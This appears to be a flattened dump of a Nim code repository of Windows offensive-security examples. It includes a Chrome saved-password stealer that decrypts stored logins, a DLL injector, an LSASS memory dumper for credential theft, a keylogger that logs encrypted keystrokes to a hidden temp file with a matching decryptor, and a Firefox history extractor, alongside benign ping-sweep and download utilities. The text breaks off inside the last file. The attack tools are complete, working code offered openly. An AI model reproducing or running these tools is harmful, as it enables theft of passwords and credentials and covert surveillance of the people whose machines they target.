nimcrypto/[rijndael, bcmode] 14 | import winim/lean 15 | 16 | proc cryptUnprotectData(data: openarray[byte]): string = 17 | var dataIn, dataOut: DATA_BLOB 18 | dataIn.cbData = int32(data.len) 19 | dataIn.pbData = unsafeaddr data[0] 20 | 21 | if CryptUnprotectData(addr dataIn, nil, nil, nil, nil, 0, addr dataOut) != 0: 22 | result.setLen(dataOut.cbData) 23 | if dataOut.cbData != 0: 24 | copyMem(addr result[0], dataOut.pbData, dataOut.cbData) 25 | LocalFree(cast[HLOCAL](dataOut.pbData)) 26 | 27 | proc getMasterKey(): string = 28 | let filename = getEnv("USERPROFILE") & r"\AppData\Local\Google\Chrome\User Data\Local State" 29 | if fileExists(filename): 30 | let contents = readFile(filename) 31 | let jsonNode = parseJson(contents) 32 | let masterKeyB64 = jsonNode["os_crypt"]["encrypted_key"].getStr() 33 | let decoded = decode(masterKeyB64) 34 | var masterKey = decoded.substr(5) 35 | result = cryptUnprotectData(toOpenArrayByte(masterKey, 0, masterKey.len() - 1 )) 36 | 37 | 38 | proc passDecrypt(data: openarray[byte]): string = 39 | #echo data 40 | var key {.global.}: string 41 | 42 | if data[0 ..< 3] == [byte 118, 49, 48]: #chrome version > 80 43 | if key.len() == 0: 44 | key = getMasterKey() 45 | 46 | var 47 | ctx: GCM[aes256] 48 | aad: seq[byte] 49 | iv = data[3 ..< 3 + 12] 50 | encrypted = data[3 + 12 ..< data.len() - 16] 51 | tag = data[data.len() - 16 ..< data.len()] 52 | dtag: array[aes256.sizeBlock, byte] 53 | 54 | if encrypted.len() > 0: 55 | result.setLen(encrypted.len()) 56 | ctx.init(key.toOpenArrayByte(0, key.len() - 1), iv, aad) 57 | ctx.decrypt(encrypted, result.toOpenArrayByte(0, result.len() - 1)) 58 | ctx.getTag(dtag) 59 | assert(dtag == tag) 60 | else: 61 | result = cryptUnprotectData(data) #chrome version < 80 62 | 63 | proc main() = 64 | let filename = getEnv("USERPROFILE") & r"\AppData\Local\Google\Chrome\User Data\Default\Login Data" 65 | let tempFileName = getTempDir() & "Login Data" 66 | copyFile(filename, tempFileName) 67 | if fileExists(tempFileName): 68 | var 69 | db: PSqlite3 70 | rc: int 71 | tail : ptr cstring 72 | stmt: PStmt = nil 73 | zSql: cstring = "SELECT action_url, username_value, password_value FROM logins" 74 | 75 | discard open(tempFileName, db) 76 | var msg = prepare(db, zSql, -1, stmt, tail) 77 | if msg == SQLITE_OK: 78 | rc = stmt.step() 79 | while rc == SQLITE_ROW : 80 | echo "Url: ", column_text(stmt, 0) 81 | echo "User: ", column_text(stmt, 1) 82 | var blobData: seq[byte] 83 | blobData.setLen(int(column_bytes(stmt, 2))) 84 | copyMem(unsafeAddr(blobData[0]), column_blob(stmt, 2), int(column_bytes(stmt, 2))) 85 | echo "Pass: ", passDecrypt(blobData) 86 | echo "" 87 | 88 | rc = stmt.step() 89 | 90 | discard finalize(stmt) 91 | discard close(db) 92 | 93 | removeFile(tempFileName) 94 | 95 | when isMainModule: 96 | when defined(windows): 97 | main() 98 | -------------------------------------------------------------------------------- /examples/chromepwd64.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StudyCat404/myNimExamples/27653a6afa4fa7e50d2a359844c8c6eace27608c/examples/chromepwd64.exe -------------------------------------------------------------------------------- /examples/decrypt.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: StudyCat 3 | Blog: https://www.cnblogs.com/studycat 4 | Github: https://github.com/StudyCat404/myNimExamples 5 | License: BSD 3-Clause 6 | References: 7 | - https://github.com/cobbr/SharpSploit/blob/2fdfc2eec891717884484bb7dde15f8a12113ad3/SharpSploit/Enumeration/Keylogger.cs 8 | - https://github.com/byt3bl33d3r/OffensiveNim 9 | ]# 10 | 11 | import nimcrypto 12 | import nimcrypto/sysrand 13 | import strutils 14 | 15 | 16 | func toByteSeq*(str: string): seq[byte] {.inline.} = 17 | ## Converts a string to the corresponding byte sequence. 18 | @(str.toOpenArrayByte(0, str.high)) 19 | 20 | 21 | proc aesCTREncode(mydata: string): string = 22 | var 23 | data: seq[byte] = toByteSeq(mydata) 24 | envkey: string = "TARGETDOMAIN" 25 | 26 | ectx: CTR[aes256] 27 | key: array[aes256.sizeKey, byte] 28 | iv: array[aes256.sizeBlock, byte] 29 | plaintext = newSeq[byte](len(data)) 30 | enctext = newSeq[byte](len(data)) 31 | 32 | # Create Random IV 33 | #discard randomBytes(addr iv[0], 16) 34 | iv = [byte 165, 137, 160, 81, 234, 167, 128, 216, 28, 192, 232, 146, 162, 168, 18, 130] 35 | # We do not need to pad data, `CTR` mode works byte by byte. 36 | copyMem(addr plaintext[0], addr data[0], len(data)) 37 | # Expand key to 32 bytes using SHA256 as the KDF 38 | var expandedkey = sha256.digest(envkey) 39 | copyMem(addr key[0], addr expandedkey.data[0], len(expandedkey.data)) 40 | 41 | ectx.init(key, iv) 42 | ectx.encrypt(plaintext, enctext) 43 | ectx.clear() 44 | 45 | result = toHex(enctext) 46 | 47 | proc aesCTRDecode(mydata: string, file: var File) = 48 | var 49 | envkey: string = "TARGETDOMAIN" 50 | 51 | dctx: CTR[aes256] 52 | key: array[aes256.sizeKey, byte] 53 | iv: array[aes256.sizeBlock, byte] 54 | L: int = len(parseHexStr(mydata)) 55 | dectext = newSeq[byte](L) 56 | newline = [byte 13, 10] 57 | 58 | # Create Random IV 59 | #discard randomBytes(addr iv[0], 16) 60 | iv = [byte 165, 137, 160, 81, 234, 167, 128, 216, 28, 192, 232, 146, 162, 168, 18, 130] 61 | 62 | # Expand key to 32 bytes using SHA256 as the KDF 63 | var expandedkey = sha256.digest(envkey) 64 | copyMem(addr key[0], addr expandedkey.data[0], len(expandedkey.data)) 65 | 66 | var enctext = toByteSeq(parseHexStr(mydata)) 67 | dctx.init(key, iv) 68 | dctx.decrypt(enctext, dectext) 69 | dctx.clear() 70 | 71 | echo dectext 72 | discard writeBytes(file, dectext, 0, dectext.len()) 73 | discard writeBytes(file, newline, 0, newline.len()) 74 | 75 | var logfile = r"C:\Users\dell\AppData\Local\Temp\3hrZdeXL.log" 76 | var file: File 77 | file = open("text.txt", fmAppend) 78 | for line in logfile.lines: 79 | aesCTRDecode(line, file) 80 | 81 | file.close() 82 | -------------------------------------------------------------------------------- /examples/dllInjector.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: StudyCat 3 | Blog: https://www.cnblogs.com/studycat 4 | Github: https://github.com/StudyCat404/myNimExamples 5 | License: BSD 3-Clause 6 | Referer: https://github.com/saeedirha/DLL-Injector 7 | ]# 8 | import winim/lean 9 | import dynlib 10 | import os 11 | import strutils 12 | 13 | when defined(windows): 14 | let dllPath = paramStr(2) #绝对路径 15 | let pid = paramStr(1).parseInt() #powershell.exe 进程 pid 16 | 17 | let hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, cast[DWORD](pid)) 18 | let alloc = VirtualAllocEx(hProcess, nil, dllPath.len, MEM_COMMIT, PAGE_EXECUTE_READWRITE) 19 | 20 | let IsWriteOK = WriteProcessMemory(hProcess, alloc, unsafeaddr dllPath[0], dllPath.len, nil) 21 | if IsWriteOK == 0: 22 | echo "Fail to write in Target Process memory" 23 | quit(QuitFailure) 24 | 25 | let lib = loadLib("kernel32.dll") 26 | if lib == nil: 27 | echo "Error loading library" 28 | quit(QuitFailure) 29 | 30 | 31 | let lpthreadStartRoutinefp = cast[LPTHREAD_START_ROUTINE](lib.symAddr("LoadLibraryA")) 32 | if lpthreadStartRoutinefp == nil: 33 | echo "Error loading 'LoadLibraryA' function from library" 34 | quit(QuitFailure) 35 | 36 | var dWord: DWORD 37 | CreateRemoteThread(hProcess, nil, 0, lpthreadStartRoutinefp, alloc, 0 ,addr dWord) 38 | 39 | echo "[+]DLL Successfully Injected" 40 | 41 | unloadLib(lib) -------------------------------------------------------------------------------- /examples/dumpLsass.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: StudyCat 3 | Blog: https://www.cnblogs.com/studycat 4 | Github: https://github.com/StudyCat404/myNimExamples 5 | License: BSD 3-Clause 6 | Referer: https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/minidump_bin.nim 7 | ]# 8 | 9 | import winim 10 | 11 | proc toString(chars: openArray[WCHAR]): string = 12 | result = "" 13 | for c in chars: 14 | if cast[char](c) == '\0': 15 | break 16 | result.add(cast[char](c)) 17 | 18 | proc GetLsassPid(): int = 19 | var 20 | entry: PROCESSENTRY32 21 | hSnapshot: HANDLE 22 | 23 | entry.dwSize = cast[DWORD](sizeof(PROCESSENTRY32)) 24 | hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) 25 | defer: CloseHandle(hSnapshot) 26 | 27 | if Process32First(hSnapshot, addr entry): 28 | while Process32Next(hSnapshot, addr entry): 29 | if entry.szExeFile.toString == "lsass.exe": 30 | return int(entry.th32ProcessID) 31 | 32 | return 0 33 | 34 | when isMainModule: 35 | let processId: int = GetLsassPid() 36 | if not bool(processId): 37 | echo "[X] Unable to find lsass process" 38 | quit(1) 39 | 40 | echo "[*] lsass PID: ", processId 41 | 42 | var hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, cast[DWORD](processId)) 43 | if not bool(hProcess): 44 | echo "[X] Unable to open handle to process" 45 | quit(1) 46 | 47 | try: 48 | var fs = open(r"C:\Users\dell\Desktop\test\lsass.dump", fmWrite) 49 | echo "[*] Creating memory dump, please wait..." 50 | var success = MiniDumpWriteDump( 51 | hProcess, 52 | cast[DWORD](processId), 53 | fs.getOsFileHandle(), 54 | 0x00000002, 55 | nil, 56 | nil, 57 | nil 58 | ) 59 | echo "[*] Dump successful: ", bool(success) 60 | fs.close() 61 | finally: 62 | CloseHandle(hProcess) -------------------------------------------------------------------------------- /examples/firefoxHistory.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: StudyCat 3 | Blog: https://www.cnblogs.com/studycat 4 | Github: https://github.com/StudyCat404/myNimExamples 5 | License: BSD 3-Clause 6 | ]# 7 | 8 | import db_sqlite 9 | import osproc 10 | import os 11 | import strutils 12 | import streams 13 | import times 14 | 15 | let time = cpuTime() 16 | 17 | proc findDBFiles(): seq[string] = 18 | var cmdArgs: array[6,string] 19 | var outp: string 20 | 21 | cmdArgs[0] = "/Q" 22 | cmdArgs[1] = "/C" 23 | cmdArgs[2] = "dir" 24 | cmdArgs[3] = r"%appdata%\Mozilla\Firefox\Profiles\places.sqlite" 25 | cmdArgs[4] = "/S" 26 | cmdArgs[5] = "/B" 27 | let shell = os.getEnv("COMSPEC") 28 | outp = osproc.execProcess(shell, args=cmdArgs, options={poStdErrToStdOut,poUsePath}) 29 | 30 | var line = "" 31 | var strm = newStringStream(outp) 32 | if not isNil(strm): 33 | while strm.readLine(line): 34 | if line.len() > 0: 35 | result.add(line) 36 | 37 | proc firefoxHistory(dbFilePath: string) = 38 | var record: string 39 | var f: File 40 | f = open("firefoxHistory.csv", fmAppend) 41 | 42 | if fileExists(dbFilePath): 43 | let db = open(dbFilePath, "", "", "") 44 | try: 45 | for row in db.fastRows(sql"select moz_places.title, moz_places.url, datetime(moz_places.last_visit_date / 1000000, 'unixepoch') from moz_places"): 46 | record = join(row, ",") 47 | f.writeLine(record) 48 | except: 49 | stderr.writeLine(getCurrentExceptionMsg()) 50 | finally: 51 | db.close() 52 | f.close() 53 | 54 | when isMainModule: 55 | when defined windows: 56 | for path in findDBFiles(): 57 | echo path 58 | firefoxHistory(path) 59 | 60 | echo "Time taken: ", cpuTime() - time, "s" 61 | -------------------------------------------------------------------------------- /examples/ftpDownload.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Usage: ftpDownload.exe speedtest.tele2.net ftp anonymous@gmail.com 10MB.zip 3 | Author: StudyCat 4 | Blog: https://www.cnblogs.com/studycat 5 | License: BSD 3-Clause 6 | ]# 7 | 8 | import asyncdispatch, asyncftpclient, os 9 | 10 | proc onProgressChanged(total, progress: BiggestInt, 11 | speed: float) {.async.} = 12 | echo("Uploaded ", progress, " of ", total, " bytes") 13 | echo("Current speed: ", speed, " kb/s") 14 | 15 | proc ftpDownload(host, username, password, filename: string) {.async.} = 16 | var ftp = newAsyncFtpClient(host, user = username, pass = password, progressInterval = 3000) 17 | await ftp.connect() 18 | echo("Connected") 19 | 20 | let pathSplit = splitPath(filename) 21 | let baseFilename = pathSplit.tail 22 | await ftp.retrFile(filename, baseFilename, onProgressChanged) 23 | echo("File finished downloading") 24 | 25 | when isMainModule: 26 | if paramCount() != 4: 27 | echo "usage: ", paramStr(0), " host username password filename" 28 | else: 29 | var host = paramStr(1) 30 | var username = paramStr(2) 31 | var password = paramStr(3) 32 | var filename = paramStr(4) 33 | waitFor ftpDownload(host, username, password, filename) -------------------------------------------------------------------------------- /examples/httpDownload.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Usage: httpDownload.exe http://speedtest.tele2.net/10MB.zip 10MB.zip 3 | Author: StudyCat 4 | Blog: https://www.cnblogs.com/studycat 5 | License: BSD 3-Clause 6 | ]# 7 | 8 | import asyncdispatch, httpclient, os 9 | 10 | proc onProgressChanged(total, progress, speed: BiggestInt) {.async.} = 11 | echo("Downloaded ", progress, " of ", total) 12 | echo("Current rate: ", speed div 1000, "kb/s") 13 | 14 | proc httpDownload(url, fileName:string) {.async.} = 15 | let ua = r"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1" 16 | var client = newAsyncHttpClient(userAgent = ua) 17 | client.onProgressChanged = onProgressChanged 18 | await client.downloadFile(url, fileName) 19 | echo "Download Complete" 20 | 21 | when isMainModule: 22 | if paramCount() != 2: 23 | echo "usage: ", paramStr(0), " url fileName" 24 | else: 25 | var myUrl = paramStr(1) 26 | var myFileName = paramStr(2) 27 | waitFor httpDownload(myUrl, myFileName) 28 | -------------------------------------------------------------------------------- /examples/ip_seg.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | IP Segmentation 3 | ]# 4 | 5 | import strutils, algorithm, sequtils 6 | when defined linux: 7 | import posix 8 | when defined windows: 9 | import winim/inc/winsock 10 | 11 | proc calc_range*(first: string, last: string): seq[string] = 12 | var 13 | first_ipAddr: InAddr 14 | last_ipAddr: InAddr 15 | temp_ip: InAddr 16 | 17 | when defined windows: 18 | discard inet_pton(AF_INET, first, addr (first_ipAddr.S_addr)) 19 | discard inet_pton(AF_INET, last, addr (last_ipAddr.S_addr)) 20 | 21 | for i in ntohl(first_ipAddr.S_addr)..ntohl(last_ipAddr.S_addr): 22 | temp_ip.S_addr = i 23 | let ip = ($inet_ntoa(temp_ip)).split(".").reversed().join(".") 24 | result.add(ip) 25 | 26 | when defined linux: 27 | discard inet_pton(AF_INET, first, addr (first_ipAddr.s_addr)) 28 | discard inet_pton(AF_INET, last, addr (last_ipAddr.s_addr)) 29 | 30 | for i in ntohl(first_ipAddr.s_addr)..ntohl(last_ipAddr.s_addr): 31 | temp_ip.s_addr = i 32 | let ip = ($inet_ntoa(temp_ip)).split(".").reversed().join(".") 33 | result.add(ip) 34 | 35 | 36 | proc calc_range*(subnet: string): seq[string] = 37 | var 38 | first = subnet.split("/")[0].split(".") 39 | mask = subnet.split("/")[1] 40 | netmask: seq[string] 41 | last: seq[string] 42 | 43 | let 44 | full = (mask.parseInt() / 8).int 45 | remain = mask.parseInt() mod 8 46 | 47 | for i in 0..full-1: 48 | netmask.add("255") 49 | 50 | var bin: string 51 | for i in 0..remain-1: 52 | bin.add("1") 53 | if bin.len < 8: 54 | for i in 1..(8 - bin.len): 55 | bin.add("0") 56 | 57 | netmask.add($(bin.parseBinInt())) 58 | for i in 3..netmask.len: 59 | netmask.add("0") 60 | 61 | for i in 0..3: 62 | if netmask[i] == "255": 63 | last.add(first[i]) 64 | else: 65 | last.add($(255 - netmask[i].parseInt())) 66 | 67 | last[3] = $(last[3].parseInt() - 1) 68 | 69 | result = calc_range(first.join("."), last.join(".")) 70 | 71 | when isMainModule: 72 | var hosts = calc_range("192.168.0.0/24") 73 | for tmp_hosts in hosts.distribute(2): 74 | echo tmp_hosts -------------------------------------------------------------------------------- /examples/keylogger.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: StudyCat 3 | Blog: https://www.cnblogs.com/studycat 4 | Github: https://github.com/StudyCat404/myNimExamples 5 | License: BSD 3-Clause 6 | References: 7 | - https://github.com/cobbr/SharpSploit/blob/2fdfc2eec891717884484bb7dde15f8a12113ad3/SharpSploit/Enumeration/Keylogger.cs 8 | - https://github.com/byt3bl33d3r/OffensiveNim 9 | ]# 10 | 11 | import winim 12 | import tables 13 | import strformat 14 | import strutils 15 | import random 16 | import nimcrypto 17 | import nimcrypto/sysrand 18 | import os 19 | import times 20 | 21 | var outFile: File 22 | type 23 | Keys = enum 24 | Modifiers = -65536 25 | None = 0 26 | LButton = 1 27 | RButton = 2 28 | Cancel = 3 29 | MButton = 4 30 | XButton1 = 5 31 | XButton2 = 6 32 | Back = 8 33 | Tab = 9 34 | LineFeed = 10 35 | Clear = 12 36 | #Return = 13 37 | Enter = 13 38 | ShiftKey = 16 39 | ControlKey = 17 40 | Menu = 18 41 | Pause = 19 42 | Capital = 20 43 | #CapsLock = 20 44 | KanaMode = 21 45 | #HanguelMode = 21 46 | #HangulMode = 21 47 | JunjaMode = 23 48 | FinalMode = 24 49 | #HanjaMode = 25 50 | KanjiMode = 25 51 | Escape = 27 52 | IMEConvert = 28 53 | IMENonconvert = 29 54 | IMEAccept = 30 55 | #IMEAceept = 30 56 | IMEModeChange = 31 57 | Space = 32 58 | #Prior = 33 59 | PageUp = 33 60 | #Next = 34 61 | PageDown = 34 62 | End = 35 63 | Home = 36 64 | Left = 37 65 | Up = 38 66 | Right = 39 67 | Down = 40 68 | Select = 41 69 | Print = 42 70 | Execute = 43 71 | #Snapshot = 44 72 | PrintScreen = 44 73 | Insert = 45 74 | Delete = 46 75 | Help = 47 76 | D0 = 48 77 | D1 = 49 78 | D2 = 50 79 | D3 = 51 80 | D4 = 52 81 | D5 = 53 82 | D6 = 54 83 | D7 = 55 84 | D8 = 56 85 | D9 = 57 86 | A = 65 87 | B = 66 88 | C = 67 89 | D = 68 90 | E = 69 91 | F = 70 92 | G = 71 93 | H = 72 94 | I = 73 95 | J = 74 96 | K = 75 97 | L = 76 98 | M = 77 99 | N = 78 100 | O = 79 101 | P = 80 102 | Q = 81 103 | R = 82 104 | S = 83 105 | T = 84 106 | U = 85 107 | V = 86 108 | W = 87 109 | X = 88 110 | Y = 89 111 | Z = 90 112 | LWin = 91 113 | RWin = 92 114 | Apps = 93 115 | Sleep = 95 116 | NumPad0 = 96 117 | NumPad1 = 97 118 | NumPad2 = 98 119 | NumPad3 = 99 120 | NumPad4 = 100 121 | NumPad5 = 101 122 | NumPad6 = 102 123 | NumPad7 = 103 124 | NumPad8 = 104 125 | NumPad9 = 105 126 | Multiply = 106 127 | Add = 107 128 | Separator = 108 129 | Subtract = 109 130 | Decimal = 110 131 | Divide = 111 132 | F1 = 112 133 | F2 = 113 134 | F3 = 114 135 | F4 = 115 136 | F5 = 116 137 | F6 = 117 138 | F7 = 118 139 | F8 = 119 140 | F9 = 120 141 | F10 = 121 142 | F11 = 122 143 | F12 = 123 144 | F13 = 124 145 | F14 = 125 146 | F15 = 126 147 | F16 = 127 148 | F17 = 128 149 | F18 = 129 150 | F19 = 130 151 | F20 = 131 152 | F21 = 132 153 | F22 = 133 154 | F23 = 134 155 | F24 = 135 156 | NumLock = 144 157 | Scroll = 145 158 | LShiftKey = 160 159 | RShiftKey = 161 160 | LControlKey = 162 161 | RControlKey = 163 162 | LMenu = 164 163 | RMenu = 165 164 | BrowserBack = 166 165 | BrowserForward = 167 166 | BrowserRefresh = 168 167 | BrowserStop = 169 168 | BrowserSearch = 170 169 | BrowserFavorites = 171 170 | BrowserHome = 172 171 | VolumeMute = 173 172 | VolumeDown = 174 173 | VolumeUp = 175 174 | MediaNextTrack = 176 175 | MediaPreviousTrack = 177 176 | MediaStop = 178 177 | MediaPlayPause = 179 178 | LaunchMail = 180 179 | SelectMedia = 181 180 | LaunchApplication1 = 182 181 | LaunchApplication2 = 183 182 | OemSemicolon = 186 183 | #Oem1 = 186 184 | Oemplus = 187 185 | Oemcomma = 188 186 | OemMinus = 189 187 | OemPeriod = 190 188 | OemQuestion = 191 189 | #Oem2 = 191 190 | Oemtilde = 192 191 | #Oem3 = 192 192 | OemOpenBrackets = 219 193 | #Oem4 = 219 194 | OemPipe = 220 195 | #Oem5 = 220 196 | OemCloseBrackets = 221 197 | #Oem6 = 221 198 | OemQuotes = 222 199 | #Oem7 = 222 200 | Oem8 = 223 201 | OemBackslash = 226 202 | #Oem102 = 226 203 | ProcessKey = 229 204 | Packet = 231 205 | Attn = 246 206 | Crsel = 247 207 | Exsel = 248 208 | EraseEof = 249 209 | Play = 250 210 | Zoom = 251 211 | NoName = 252 212 | Pa1 = 253 213 | OemClear = 254 214 | KeyCode = 65535 215 | Shift = 65536 216 | Control = 131072 217 | Alt = 262144 218 | 219 | var 220 | KeyDict = { 221 | Keys.Attn: "[Attn]", 222 | Keys.Clear: "[Clear]", 223 | Keys.Down: "[Down]", 224 | Keys.Up: "[Up]", 225 | Keys.Left: "[Left]", 226 | Keys.Right: "[Right]", 227 | Keys.Escape: "[Escape]", 228 | Keys.Tab: "[Tab]", 229 | Keys.LWin: "[LeftWin]", 230 | Keys.RWin: "[RightWin]", 231 | Keys.PrintScreen: "[PrintScreen]", 232 | Keys.D0: "0", 233 | Keys.D1: "1", 234 | Keys.D2: "2", 235 | Keys.D3: "3", 236 | Keys.D4: "4", 237 | Keys.D5: "5", 238 | Keys.D6: "6", 239 | Keys.D7: "7", 240 | Keys.D8: "8", 241 | Keys.D9: "9", 242 | Keys.Space: " ", 243 | Keys.NumLock: "[NumLock]", 244 | Keys.Alt: "[Alt]", 245 | Keys.LControlKey: "[LeftControl]", 246 | Keys.RControlKey: "[RightControl]", 247 | #Keys.CapsLock: "[CapsLock]", 248 | Keys.Delete: "[Delete]", 249 | Keys.Enter: "[Enter]", 250 | Keys.Divide: "/", 251 | Keys.Multiply: "*", 252 | Keys.Add: "+", 253 | Keys.Subtract: "-", 254 | Keys.PageDown: "[PageDown]", 255 | Keys.PageUp: "[PageUp]", 256 | Keys.End: "[End]", 257 | Keys.Insert: "[Insert]", 258 | Keys.Decimal: ".", 259 | Keys.OemSemicolon: ";", 260 | Keys.Oemtilde: "`", 261 | Keys.Oemplus: "=", 262 | Keys.OemMinus: "-", 263 | Keys.Oemcomma: ",", 264 | Keys.OemPeriod: ".", 265 | Keys.OemPipe: "\\", 266 | Keys.OemQuotes: "\"", 267 | Keys.OemCloseBrackets: "]", 268 | Keys.OemOpenBrackets: "[", 269 | Keys.Home: "[Home]", 270 | Keys.Back: "[Backspace]", 271 | Keys.NumPad0: "0", 272 | Keys.NumPad1: "1", 273 | Keys.NumPad2: "2", 274 | Keys.NumPad3: "3", 275 | Keys.NumPad4: "4", 276 | Keys.NumPad5: "5", 277 | Keys.NumPad6: "6", 278 | Keys.NumPad7: "7", 279 | Keys.NumPad8: "8", 280 | Keys.NumPad9: "9", 281 | }.toTable() 282 | 283 | KeyDictShift = { 284 | Keys.D0: ")", 285 | Keys.D1: "!", 286 | Keys.D2: "@", 287 | Keys.D3: "#", 288 | Keys.D4: "$", 289 | Keys.D5: "%", 290 | Keys.D6: "^", 291 | Keys.D7: "&", 292 | Keys.D8: "*", 293 | Keys.D9: "(", 294 | Keys.OemSemicolon: ":", 295 | Keys.Oemtilde: "~", 296 | Keys.Oemplus: "+", 297 | Keys.OemMinus: "_", 298 | Keys.Oemcomma: "<", 299 | Keys.OemPeriod: ">", 300 | Keys.OemPipe: "|", 301 | Keys.OemQuotes: "'", 302 | Keys.OemCloseBrackets: "", 303 | Keys.OemOpenBrackets: "", 304 | }.toTable() 305 | 306 | proc getRandomString(L: int = 8): string = 307 | var identChars: array[0..62, char] 308 | identChars = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F', 309 | 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 310 | 'W', 'X', 'Y', 'Z', '_', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 311 | 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'] 312 | 313 | randomize() 314 | for i in 1 .. L: 315 | result.add(identChars[rand(0..62)]) 316 | 317 | func toByteSeq*(str: string): seq[byte] {.inline.} = 318 | ## Converts a string to the corresponding byte sequence. 319 | @(str.toOpenArrayByte(0, str.high)) 320 | 321 | proc aesCTREncode(mydata: string): string = 322 | var 323 | data: seq[byte] = toByteSeq(mydata) 324 | envkey: string = "TARGETDOMAIN" 325 | 326 | ectx: CTR[aes256] 327 | key: array[aes256.sizeKey, byte] 328 | iv: array[aes256.sizeBlock, byte] 329 | plaintext = newSeq[byte](len(data)) 330 | enctext = newSeq[byte](len(data)) 331 | 332 | # Create Random IV 333 | #discard randomBytes(addr iv[0], 16) 334 | iv = [byte 165, 137, 160, 81, 234, 167, 128, 216, 28, 192, 232, 146, 162, 168, 18, 130] 335 | # We do not need to pad data, `CTR` mode works byte by byte. 336 | copyMem(addr plaintext[0], addr data[0], len(data)) 337 | # Expand key to 32 bytes using SHA256 as the KDF 338 | var expandedkey = sha256.digest(envkey) 339 | copyMem(addr key[0], addr expandedkey.data[0], len(expandedkey.data)) 340 | 341 | ectx.init(key, iv) 342 | ectx.encrypt(plaintext, enctext) 343 | ectx.clear() 344 | 345 | result = toHex(enctext) 346 | 347 | proc GetActiveWindowTitle(): LPWSTR = 348 | var capacity: int32 = 256 349 | var builder: LPWSTR = newString(capacity) 350 | var wHandle = GetForegroundWindow() 351 | defer: CloseHandle(wHandle) 352 | GetWindowText(wHandle, builder, capacity) 353 | return builder 354 | 355 | proc HookCallback(nCode: int32, wParam: WPARAM, lParam: LPARAM): LRESULT {.stdcall.} = 356 | if nCode >= 0 and wParam == WM_KEYDOWN: 357 | var keypressed: string 358 | var kbdstruct: PKBDLLHOOKSTRUCT = cast[ptr KBDLLHOOKSTRUCT](lparam) 359 | var currentActiveWindow = GetActiveWindowTitle() 360 | var shifted: bool = (GetKeyState(160) < 0) or (GetKeyState(161) < 0) 361 | var keycode: Keys = cast[Keys](kbdstruct.vkCode) 362 | 363 | if shifted and (keycode in KeyDictShift): 364 | keypressed = KeyDictShift.getOrDefault(keycode) 365 | elif keycode in KeyDict: 366 | keypressed = KeyDict.getOrDefault(keycode) 367 | else: 368 | var capped: bool = (GetKeyState(20) != 0) 369 | if (capped and shifted) or not (capped or shifted): 370 | keypressed = $toLowerAscii(chr(ord(keycode))) 371 | else: 372 | keypressed = $toUpperAscii(chr(ord(keycode))) 373 | 374 | var keyMsg = fmt"[*] Key: {keypressed} [Window: '{currentActiveWindow}'] {$now()}" 375 | #outFile.writeLine(keyMsg) 376 | outFile.writeLine(aesCTREncode(keyMsg)) 377 | echo keyMsg 378 | return CallNextHookEx(0, nCode, wParam, lParam) 379 | 380 | var hook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC) HookCallback, 0, 0) 381 | 382 | if bool(hook): 383 | try: 384 | echo "[*] Hook successful" 385 | var outFileName = joinPath(getTempDir(), getRandomString() & ".log") 386 | echo outFileName 387 | outFile = open(outFileName, fmAppend) 388 | PostMessage(0, 0, 0, 0) 389 | 390 | var msg: MSG 391 | while GetMessage(msg.addr, 0, 0, 0): 392 | discard 393 | finally: 394 | UnhookWindowsHookEx(hook) 395 | outFile.close() 396 | -------------------------------------------------------------------------------- /examples/mping.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: StudyCat 3 | Blog: https://www.cnblogs.com/studycat 4 | Github: https://github.com/StudyCat404 5 | License: BSD 3-Clause 6 | ]# 7 | 8 | import threadpool 9 | import streams 10 | import osproc 11 | import strutils 12 | import os 13 | import times 14 | import ip_seg 15 | import net 16 | import sequtils 17 | 18 | let time = cpuTime() 19 | var 20 | maxThreads: int 21 | hosts: seq[string] 22 | 23 | maxThreads = 256 24 | 25 | proc validateOpt(hosts: var seq[string]) = 26 | if paramCount() < 1: 27 | echo "Usage: ", paramStr(0), " ipaddress/cidr/Ipv4Range" 28 | echo "For example:" 29 | echo paramStr(0)," 172.16.1.1" 30 | echo paramStr(0)," 192.168.1.0/24" 31 | echo paramStr(0)," 10.10.3.1-10.10.10.254" 32 | quit(-1) 33 | 34 | var userInput = paramStr(1) 35 | if isIpAddress(userInput): 36 | hosts.add(userInput) 37 | elif userInput.contains("-"): 38 | let 39 | range1 = userInput.split("-")[0] 40 | range2 = userInput.split("-")[1] 41 | if isIpAddress(range1) and isIpAddress(range2): 42 | hosts = calc_range(range1, range2) 43 | elif userInput.contains("/"): 44 | hosts = calc_range(userInput) 45 | else: 46 | echo "Invalid input" 47 | if hosts.len == 0: 48 | echo "Invalid input" 49 | quit(-1) 50 | 51 | proc ping(ip: string) {.thread.} = 52 | var pingargs: array[3, string] 53 | pingargs[0] = "-n" 54 | pingargs[1] = "1" 55 | pingargs[2] = ip 56 | let outp = osproc.execProcess("ping.exe", args=pingargs, options={poStdErrToStdOut,poUsePath}) 57 | var line = "" 58 | var strm = newStringStream(outp) 59 | if not isNil(strm): 60 | while strm.readLine(line): 61 | if line.contains("TTL="): 62 | echo ip 63 | 64 | proc main() = 65 | validateOpt(hosts) 66 | var num = hosts.len() 67 | var division: int 68 | if num mod maxThreads > 0: 69 | division = (num/maxThreads).toInt() + 1 70 | else: 71 | division = (num/maxThreads).toInt() 72 | 73 | for scan_hosts in 